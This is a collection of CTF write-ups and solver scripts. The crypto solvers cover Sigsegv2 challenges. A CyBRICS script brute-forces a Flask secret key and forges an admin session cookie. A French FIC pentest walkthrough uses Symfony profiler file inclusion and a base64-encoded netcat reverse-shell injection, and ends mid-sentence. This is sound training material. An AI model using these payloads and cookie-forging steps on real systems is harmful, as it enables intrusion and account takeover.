├── 2019 └── sigsegv2 │ └── crypto │ ├── alice │ ├── encryption.png │ ├── data.py │ └── solve.py │ ├── crypto_calculous │ ├── level1.tar.xz │ ├── level2.tar.xz │ └── solve.py │ ├── rektsa_1_vs_100 │ ├── encrypt.py │ └── solve.py │ └── readme.md ├── 2020 ├── FIC │ └── what-the-fic │ │ ├── images │ │ ├── c.png │ │ ├── LFI.png │ │ ├── path.png │ │ ├── root.png │ │ ├── logged.png │ │ ├── lslah.png │ │ ├── account.png │ │ ├── decodeb64.png │ │ ├── execute.png │ │ ├── loginpage.png │ │ ├── ls-fic2.png │ │ ├── sendb64.png │ │ ├── setpath.png │ │ ├── strace2.png │ │ ├── trylogin.png │ │ └── goingtolfi.png │ │ └── README.md ├── cybrics2020 │ └── codeshot │ │ ├── solve │ │ ├── 1_1.png │ │ ├── 1_2.png │ │ ├── 1_3.png │ │ ├── 1_4.png │ │ ├── chall.png │ │ ├── flag.png │ │ ├── grid.png │ │ ├── letter.png │ │ └── example.png │ │ ├── chall.txt │ │ ├── find_public_images.py │ │ ├── chall.py │ │ ├── solve.py │ │ └── readme.md └── redpwn2020 │ └── dead-canary │ └── readme.md └── README.md /2020/FIC/what-the-fic/images/c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/c.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/LFI.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/LFI.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/path.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/path.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/root.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/root.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/logged.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/logged.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/lslah.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/lslah.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/1_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/1_1.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/1_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/1_2.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/1_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/1_3.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/1_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/1_4.png -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/alice/encryption.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2019/sigsegv2/crypto/alice/encryption.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/account.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/account.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/decodeb64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/decodeb64.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/execute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/execute.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/loginpage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/loginpage.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/ls-fic2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/ls-fic2.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/sendb64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/sendb64.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/setpath.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/setpath.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/strace2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/strace2.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/trylogin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/trylogin.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/chall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/chall.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/flag.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/grid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/grid.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/letter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/letter.png -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/images/goingtolfi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/FIC/what-the-fic/images/goingtolfi.png -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2020/cybrics2020/codeshot/solve/example.png -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/crypto_calculous/level1.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2019/sigsegv2/crypto/crypto_calculous/level1.tar.xz -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/crypto_calculous/level2.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Orange-Cyberdefense/ctf-write-ups/HEAD/2019/sigsegv2/crypto/crypto_calculous/level2.tar.xz -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Our CTF write-up collection 2 | 3 | ## 2020 4 | 5 | - FIC : [write-up](2020/FIC/what-the-fic) 6 | - Redpwn : [write-up](2020/redpwn2020/dead-canary) 7 | - CyBRICS : [write-up](2020/cybrics2020/codeshot) 8 | 9 | ## 2019 10 | 11 | - Sigsegv2 : [write-ups](2019/sigsegv2/crypto) 12 | -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/chall.txt: -------------------------------------------------------------------------------- 1 | Author: Alexander Menshchikov (@n0str) 2 | 3 | Our startup department recently came up with a new code embedding service. You can share your code in image format. Check it out now, maybe you can provide us some free pentest 😼: codeshot-cybrics2020.ctf.su/ 4 | 5 | Admin user has the flag in his private images. 6 | 7 | -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/alice/data.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.strxor import strxor 2 | import re,os 3 | 4 | ciphertext = '0dede85ca916c63e83eefb630ff1c6802fd38478eb62683ce9b69763dbafca80' 5 | c = ['68636d62627672786f626e656e616771', 6 | '6870666a7a796f6c67737477696c6772', 7 | '63796a7476616a72676a7373796f6969', 8 | '786d696578756963796971616e6d787a', 9 | '6777766d6e747571656a656b667a6c75', 10 | '7a6b6c6a636c6f6972747a7371636d65', 11 | '6f6c7376747a737471637a636e61796d', 12 | '686e6c746266686b7a6b796c707a6c66', 13 | '7476646b646a78677571656561726c79', 14 | '757974736a756165706f747472627479', 15 | '6c6e6c696d6e70767a72737565766973', 16 | '6a787a727465756e7362637374747368'] 17 | r = [97, 115, 27, 44, 92, 55, 27, 73, 120, 13, 112, 1] 18 | # Good luck! -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/rektsa_1_vs_100/encrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | 3 | import sys 4 | from secret import FLAG 5 | from Crypto.Util.number import getPrime, bytes_to_long 6 | from gmpy2 import invert 7 | 8 | for _ in range(100): 9 | p = getPrime(1024) 10 | q = getPrime(1024) 11 | r = getPrime(1028) 12 | 13 | e = 0x10001 14 | 15 | N = p * q * r 16 | phi = (p - 1) * (q - 1) * (r - 1) 17 | 18 | print 'N:', N 19 | print 'phi:', phi % 2**2050 20 | print 'r:', r 21 | 22 | print 'Give me d, p and q: ' 23 | 24 | sys.stdout.flush() 25 | 26 | try: 27 | d, p, q = [int(inp) for inp in raw_input().split(' ')] 28 | except: 29 | print 'Invalid input!' 30 | exit(1) 31 | 32 | if d == invert(e, phi) and p * q * r == N: 33 | continue 34 | 35 | print 'Nope!' 36 | exit(1) 37 | 38 | print 'Congratulations: %s' % FLAG 39 | -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/find_public_images.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | 4 | burp0_cookies = {"session": ".eJwlzj0OwjAMQOG7eGaIf2I7vUyVxI5gbemEuDuVmN8bvg_s68jzCdv7uPIB-ytggxlN3FtdLXW4Ia1ZR1FaQ00EZRH7yhRFnirWtMUy7jiMMMR76W16n5MYhUv3u7r5HMaUOUpiBFf0VA4WjXBFo1pE-d6bBtyQ68zjr6kVvj-5xi51.XxyptA.ERtfI7PQVc8HeYMaWr7cSD7b3oQ"} 5 | burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"} 6 | 7 | i = 0 8 | 9 | for i in range(1,786): 10 | for u in range(1,649): 11 | burp0_url = "http://codeshot-cybrics2020.ctf.su:80/uploads/%s/%s" % (u,i) 12 | r=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) 13 | 14 | if r.status_code == 200: 15 | print("[+] User, image :",u,",",i) 16 | with open("./img/%s_%s.png" % (u,i),'wb') as f: 17 | f.write(r.content) 18 | break 19 | -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/rektsa_1_vs_100/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | client = Server('finale-challs.rtfm.re',9002) # Your socket librairy 5 | i = 0 6 | pow2 = 2**2050 7 | 8 | while True: 9 | i+=1 10 | resp = client.recvUntil('Give me d, p and q:') 11 | if "sigsegv{" in resp: 12 | print(resp) 13 | sys.exit(0) 14 | resp = resp.split('\n') 15 | N = int(resp[0].split(': ')[1]) 16 | phi = int(resp[1].split(': ')[1]) 17 | r = int(resp[2].split(': ')[1]) 18 | e = 0x10001 19 | print("-- New turn --") 20 | print("N:",N,"phi:",phi,"r:",r) 21 | quo_N = N // pow2 22 | 23 | for i in range(10): 24 | # Retrieve phi(p * q * r) = (p-1) * (q-1) * (r-1) et de d 25 | vrai_phi = (phi + ((quo_N-i)*2**2050)) 26 | if vrai_phi % (r-1) == 0: 27 | d = Cryptodome.Util.number.inverse(0x10001, vrai_phi) 28 | break 29 | 30 | print("d:",d) 31 | n = N//r 32 | d_n = Cryptodome.Util.number.inverse(0x10001, vrai_phi//(r-1)) 33 | p,q = factor_modulus(N//r,d_n,e) 34 | print("p:",p,"q:",q) 35 | client.sendLine("%s %s %s" % (d,p,q)) -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/chall.py: -------------------------------------------------------------------------------- 1 | from helpers import apply_blur_filter 2 | 3 | app = Flask (__name__) 4 | app.config['UPLOAD_FOLDER'] = 'uploads' 5 | app.config['SECRET_KEY'] = '__________9ftys7dfstf' 6 | app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite' 7 | app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb 8 | 9 | Bootstrap (app) 10 | db = SQLAlchemy (app) 11 | 12 | def apply_blur_filter(im, start=(0, 0), end=(1, 1), PIXELIZATION=8): 13 | def make_one_square(img, old, row, col, size): 14 | try: 15 | npix = [] 16 | for ni in range(row - PIXELIZATION, row + PIXELIZATION): 17 | for nj in range(col - PIXELIZATION, col + PIXELIZATION): 18 | 19 | if ni == col and nj == col: continue 20 | if ni < 0 or nj < 0: continue 21 | if ni >= size[1] or nj >= size[0]: continue 22 | 23 | npix.append(old[nj, ni]) 24 | 25 | av_r = 0 26 | av_g = 0 27 | av_b = 0 28 | for r, g, b in npix: 29 | av_r += r 30 | av_g += g 31 | av_b += b 32 | av_r //= len(npix) 33 | av_g //= len(npix) 34 | av_b //= len(npix) 35 | img[col, row] = (av_r, av_g, av_b) 36 | except Exception as e: 37 | logging.error (e) 38 | logging.error (row) 39 | logging.error (col) 40 | logging.error (size) 41 | 42 | new_image = im.copy() 43 | old_image_pix = im.load() 44 | new_image_pix = new_image.load() 45 | 46 | for i in range(10 + start[0] * 42, 10 + end[0] * 42): 47 | for j in range(10 + start[1] * 10, 10 + end[1] * 10): 48 | make_one_square (new_image_pix, old_image_pix, i, j, size=new_image.size) 49 | return new_image -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/alice/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import re 5 | 6 | ciphertext = '0dede85ca916c63e83eefb630ff1c6802fd38478eb62683ce9b69763dbafca80' 7 | c = ['68636d62627672786f626e656e616771', 8 | '6870666a7a796f6c67737477696c6772', 9 | '63796a7476616a72676a7373796f6969', 10 | '786d696578756963796971616e6d787a', 11 | '6777766d6e747571656a656b667a6c75', 12 | '7a6b6c6a636c6f6972747a7371636d65', 13 | '6f6c7376747a737471637a636e61796d', 14 | '686e6c746266686b7a6b796c707a6c66', 15 | '7476646b646a78677571656561726c79', 16 | '757974736a756165706f747472627479', 17 | '6c6e6c696d6e70767a72737565766973', 18 | '6a787a727465756e7362637374747368'] 19 | r = [97, 115, 27, 44, 92, 55, 27, 73, 120, 13, 112, 1] 20 | 21 | new_c = [] 22 | for vc in c: 23 | new_vc = [] 24 | for i in range(0,len(vc),2): 25 | for b in bin(int(vc[i:i+2],16))[2:].zfill(8): 26 | new_vc.append(int(b,2)) 27 | new_c.append(new_vc) 28 | c = new_c 29 | 30 | def simplifyXor(equation,mult=False): 31 | operands = list(set(equation.split('^'))) 32 | operands.sort() 33 | dict_operand = {} 34 | for operand in operands: 35 | count = len(re.findall('(?=\^%s\^)'%operand.replace('[','\[').replace(']','\]').replace('*','\*'),equation)) 36 | count += len(re.findall('(?=^%s\^)'%operand.replace('[','\[').replace(']','\]').replace('*','\*'),equation)) 37 | count += len(re.findall('(?=\^%s$)'%operand.replace('[','\[').replace(']','\]').replace('*','\*'),equation)) 38 | dict_operand[operand] = count % 2 # We are xorring, so we have to keep only the operands appearing an odd number of times. 39 | equation = "" 40 | xor_equation_value = 0 41 | for operand, count in dict_operand.items(): 42 | if count == 1: # the operand must be kept 43 | if 'k' in operand or 'm' in operand: 44 | equation += "^"+operand 45 | else: 46 | xor_equation_value ^= int(operand) # the integers are xorred together to have more than one at the end (xor is commutative and associative) 47 | if xor_equation_value != 0: 48 | equation += "^"+str(xor_equation_value) 49 | equation = equation[1:] 50 | return equation 51 | 52 | 53 | def sROTR(key,r): 54 | return key[-r:] + key[:-r] 55 | 56 | def sROTL(key,r): 57 | return key[r:] + key[:r] 58 | 59 | def sXor(a,b): 60 | res = [] 61 | for i in range(len(a)): 62 | res.append(simplifyXor("%s^%s" % (a[i],b[i]))) 63 | return res 64 | 65 | def sRound_key(key,r): 66 | keys = [key] 67 | for i in range(1,12): 68 | if i % 2 == 1: 69 | keys.append(sROTR(keys[i-1],r[i-1])) 70 | else: 71 | keys.append(sROTL(keys[i-1],r[i-1])) 72 | return keys 73 | 74 | def sEncrypt(plain,key,r,c): 75 | keys = sRound_key(key,r) 76 | print("--- round keys ---") 77 | print(len(keys)) 78 | for k in keys: 79 | print(k) 80 | cipher = plain 81 | for i in range(11): 82 | print("--- Step",i,"---") 83 | cipher = sXor(cipher,keys[i]) 84 | print("Xor :",cipher) 85 | cipher = sROTR(cipher,r[i]) 86 | print("Rotr :",cipher) 87 | cipher = sXor(cipher,c[i]) 88 | print("Xor :",cipher) 89 | cipher = sXor(cipher,keys[11]) 90 | print("--- Encrypt :",cipher) 91 | return cipher 92 | 93 | m = ["m%s" % i for i in range(128)] 94 | k = ["k%s" % i for i in range(128)] 95 | 96 | e = sEncrypt(m,k,r,c) 97 | 98 | ciphertext = [int(ciphertext[i:i+2],16) for i in range(0,len(ciphertext),2)] 99 | 100 | new_ciphertexts = [] 101 | for vc in [ciphertext[:16],ciphertext[16:]]: 102 | new_vc = [] 103 | for i in vc: 104 | for b in bin(i)[2:].zfill(8): 105 | new_vc.append(int(b,2)) 106 | new_ciphertexts.append(new_vc) 107 | ciphertexts = new_ciphertexts 108 | 109 | flag = "" 110 | for ciphertext in ciphertexts: 111 | i = 0 112 | plain = ["_"]*128 113 | for equation in e: 114 | index = int(re.findall('m[0-9]+',equation)[0][1:])# message bit index 115 | plain[index] = ciphertext[i] 116 | if '^' in equation : 117 | plain[index] ^= int(equation.split('^')[1]) 118 | i+=1 119 | ascii_plain = "" 120 | for i in range(0,len(plain),8): 121 | ascii_plain += chr(int("".join([str(p) for p in plain[i:i+8]]),2)) 122 | flag += ascii_plain 123 | print(flag) -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/solve.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | import requests 3 | 4 | cookies = {"session": ".eJwlzj0OwjAMQOG7ZGaIY8c_vUyV2I5gbemEuDuVmN8bvk_Z15Hns2zv48pH2V9RtuJhpGp9WfJUgba8z8ptTRYioNVQVyYxoDOJscUSHDClQZCOOsx1uDcEwjr0rirqU7BlzpoQgR00GQOJI5RBWq_EeO_GUW7Idebx1zBZ-f4A6Egurg.XxyuGg._S-bIVLJ1xltFj2Be5YKPB_uxWE"} 5 | headers_post = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://codeshot-cybrics2020.ctf.su/profile", "Content-Type": "multipart/form-data; boundary=---------------------------3774721316872016531394040701", "Connection": "close", "Upgrade-Insecure-Requests": "1"} 6 | headers_get = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} 7 | data = "-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\nfrom helpers import apply_blur_filter\r\n\r\napp = Flask (__name__)\r\napp.config['UPLOAD_FOLDER'] = 'uploads'\r\napp.config['SECRET_KEY'] = '%s'\r\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite'\napp.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb\r\n\r\nBootstrap (app)\r\ndb = SQLAlchemy (app)\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"is_private\"\r\n\r\n1\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"x\"\r\n\r\n28\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"y\"\r\n\r\n3\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"x_size\"\r\n\r\n10\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"y_size\"\r\n\r\n2\r\n-----------------------------3774721316872016531394040701--\r\n" 8 | 9 | alphabet = "0123456789abcdefghijklmnopqrstuvwxyz" 10 | secret_key = '__________9ftys7dfstf' 11 | sol = "" 12 | 13 | chall = Image.open("chall.png") 14 | chall_pix = chall.load() 15 | 16 | while len(sol) < 10: 17 | for c in alphabet: 18 | 19 | tmp_secret_key = sol + c + secret_key[len(sol)+1:] 20 | 21 | print("[+] tmp_secret_key :",tmp_secret_key) 22 | 23 | response = requests.post("http://codeshot-cybrics2020.ctf.su:80/profile", headers=headers_post, cookies=cookies, data=data % tmp_secret_key) 24 | img_id = response.text.split('/uploads/649/')[-1].split('">')[0].strip() 25 | 26 | url = "http://codeshot-cybrics2020.ctf.su:80/uploads/649/" + img_id 27 | img = requests.get(url, headers=headers_get, cookies=cookies).content 28 | 29 | with open('tmp.png','wb') as f: 30 | f.write(img) 31 | 32 | img = Image.open('tmp.png') 33 | img_pix = img.load() 34 | 35 | for i in range(180,200,2): 36 | col = 10 + 10 * (28 + len(sol)) 37 | if not chall_pix[col,i] == img_pix[col,i]: 38 | break 39 | else: 40 | sol += c 41 | break 42 | 43 | print(sol) 44 | # secret_key jds89fysd79ftys7dfstf 45 | 46 | ''' 47 | 48 | git clone https://github.com/noraj/flask-session-cookie-manager 49 | 50 | python3 flask_session_cookie_manager3.py decode -c '.eJwlzj0OwjAMQOG7ZGaIY8c_vUyV2I5gbemEuDuVmN8bvk_Z15Hns2zv48pH2V9RtuJhpGp9WfJUgba8z8ptTRYioNVQVyYxoDOJscUSHDClQZCOOsx1uDcEwjr0rirqU7BlzpoQgR00GQOJI5RBWq_EeO_GUW7Idebx1zBZ-f4A6Egurg.XxyuGg._S-bIVLJ1xltFj2Be5YKPB_uxWE' -s 'jds89fysd79ftys7dfstf' 51 | {'_fresh': True, '_id': 'cd948895f9e6b8712fc5b062fb674414f238fee4613c647969df73a1b721d48a0a9c8acc231430a8df7878cb732eeb0e1dd3518e63d346dd861725046343096d', '_user_id': '649'} 52 | 53 | python3 flask_session_cookie_manager3.py encode -s 'jds89fysd79ftys7dfstf' -t "{'_fresh': True, '_id': 'cd948895f9e6b8712fc5b062fb674414f238fee4613c647969df73a1b721d48a0a9c8acc231430a8df7878cb732eeb0e1dd3518e63d346dd861725046343096d', '_user_id': '1'}" 54 | .eJwlzjkOwjAQQNG7uKbwLJ4ll4lsz1jQJqRC3J1I1P8X71P2deT5LNv7uPJR9leUrcxwNvO2PGWYAq7ZRhVcQ5QZeCHZymQBmsLq4rGUOgxFCLZeu0_rcyIBU-12V1ObQwkzR02IoAaWQkEsESag2CoL3btLlBtynXn8NVC-P4t6Ljw.Xx0Fgw.qX_e32dIbiGtPG5tHqIupW13eko 55 | 56 | GET /uploads/1/5 HTTP/1.1 57 | Host: codeshot-cybrics2020.ctf.su 58 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 59 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 60 | Accept-Language: en-US,en;q=0.5 61 | Accept-Encoding: gzip, deflate 62 | Connection: close 63 | Cookie: session=.eJwlzjkOwjAQQNG7uKbwLJ4ll4lsz1jQJqRC3J1I1P8X71P2deT5LNv7uPJR9leUrcxwNvO2PGWYAq7ZRhVcQ5QZeCHZymQBmsLq4rGUOgxFCLZeu0_rcyIBU-12V1ObQwkzR02IoAaWQkEsESag2CoL3btLlBtynXn8NVC-P4t6Ljw.Xx0Fgw.qX_e32dIbiGtPG5tHqIupW13eko 64 | Upgrade-Insecure-Requests: 1 65 | 66 | Et tadaaaaa => Flag : cybrics{w0w_whythisfilterisnotalreadyinphotoshop} -------------------------------------------------------------------------------- /2020/FIC/what-the-fic/README.md: -------------------------------------------------------------------------------- 1 | # What The FIC 2 | 3 | ## Découvrez les solutions d’un des challenges pentest proposés au FIC 2020. 4 | 5 | ### Enoncé : Vous avez accès à une machine d’attaque, et vous devez prendre le contrôle complet du server victime 6 | 7 | ### Niveau : Moyen 8 | 9 | ### Temps : 20/25 mns 10 | 11 | ### Description 12 | 13 | L'utilisation d'une API/SPA (Single Page Application) ne veut pas dire que vous êtes en sécurité. 14 | Trouvez votre chemin pour devenir root. 15 | 16 | # Solution 17 | 18 | Le participant devait lancer la commande suivante de façon à identifier les ports ouverts sur la machine : `nmap -sV -Pn -p- 192.168.1.24` 19 | 20 | Suite à cela, il remarque que les ports 4201, 8000 et 22 sont disponibles. 21 | 22 | 23 | Sur le port 4201 après lecture des fichiers javascripts, nous trouvons une interface web codée en Angular. 24 | 25 | ![Login page](images/loginpage.png) 26 | **Source: Orange Cyberdefense** 27 | 28 | 29 | Suite à la soumission de données de test, nous voyons que notre SPA discute avec une API sur le port 8000 utilisant le framework symfony. Le but de l'attaquant est donc de trouver un compte pour voir ce qu'il se cache derrière cette API. 30 | Tout d'abord, il faut savoir que sur ce framework backend, il est de coutume de créer des fichiers de type `Fixture`. 31 | 32 | 33 | Ces fichiers servent à agrémenter la base de donnée à l'aide d'object php. Par la suite les développeurs jouent avec les migrations pour faire évoluer la base. 34 | 35 | Par ailleurs, les personnes qui sont familières avec symfony savent qu'il est possible d'utiliser le profiler de la façon suivante : `http:///app_dev.php/_profiler/open?file=` pour faire une "Local File Inclusion"(LFI). 36 | 37 | Pour cela, il y avait deux façons de faire : 38 | 39 | * La première consiste à profiter de la négligence du développeur qui a laissé le profiler de symfony sur un environnement de production ce qui lui permet, via une LFI, de lire des fichiers. 40 | 41 | 42 | En l'occurrence, il lui fallait trouver le fichier `Fixture.php` dans `src/AppBundle/DataFixture/ORM/` 43 | 44 | Il obtenait donc l'utilisateur `clemence97` 45 | 46 | 47 | ![LFI](images/LFI.png) 48 | *Source: Orange Cyberdefense* 49 | 50 | * La seconde possibilité était d'utiliser un outil de fuzzing type Gobuster/dirsearch pour trouver la route suivante : 51 | 52 | ![Account](images/account.png) 53 | *Source: Orange Cyberdefense* 54 | 55 | Une fois le compte obtenu, il suffit de se connecter sur la webapp pour se rendre compte qu'il existe un bouton `check status` qui va sûrement vérifier la disponibilité du serveur. 56 | 57 | 58 | ![Send base64](images/sendb64.png) 59 | *Source: Orange Cyberdefense* 60 | 61 | En regardant de plus près la requête, nous nous apercevons qu'une chaine de caractère en base64 est envoyée au serveur en paramètre `GET`. 62 | 63 | Lorsqu'on décode celle-ci `echo "bG9jYWxob3N0" | base64 --decode`, nous obtenons: `localhost` 64 | 65 | Nous supposons qu'un ping est effectué et allons donc essayer de faire de l'injection de commande pour obtenir un reverse shell sur la machine. 66 | 67 | Pour cela, nous créons un serveur d'écoute (192.168.1.24 sur le port 1337) qui réceptionnera notre connexion. 68 | Puis nous encodons le reverse shell suivant en base64: `;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.24 1337 >/tmp/f` 69 | Nous obtenons alors ce payload : `O3JtIC90bXAvZjtta2ZpZm8gL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE5 70 | Mi4xNjguMS4yNCAxMzM3ID4vdG1wL2YK` et l'ajoutons dans le paramètre vulnérable. 71 | 72 | ![ls](images/ls-fic2.png) 73 | *Source: Orange Cyberdefense* 74 | 75 | Une fois le shell obtenu, il suffit de se rendre dans le home de l'utilisateur giorgio pour récupérer le contenu du fichier `user.txt` : `OCD{T4ke_Car3_4b0ut_RIghtS}` 76 | 77 | 78 | ## Elévation de privilèges 79 | 80 | A ce stade du challenge, le candidat se rend compte que les droits du shell obtenus sont limités (Utilisateur `giorgio`). Il devra ainsi élever ses privilèges afin d'obtenir les privilèges `root` et par la même occasion le dernier flag du challenge. 81 | 82 | Suite à de rapides investigations, nous comprenons ce que nous devons exploiter afin d'élever nos privilèges : 83 | 84 | ![lslah](images/lslah.png) 85 | *Source: Orange Cyberdefense* 86 | 87 | 88 | Il y a en effet un binaire SUID root nommé `HarmfulBinary`, ainsi qu'un fichier caché (`.hint.txt`). 89 | 90 | Nous essayons d'interagir avec ce binaire afin de déceler d'éventuelles vulnérabilités : 91 | 92 | ![execute](images/execute.png) 93 | *Source: Orange Cyberdefense* 94 | 95 | 96 | L'analyse de ce fichier caché *qui fait penser à la sortie de la commande strace sur le binaire* nous permet de déceler un certain nombre d'appels système `execve` intéressants : 97 | 98 | ![strace](images/strace2.png) 99 | *Source: Orange Cyberdefense* 100 | 101 | 102 | Le binaire 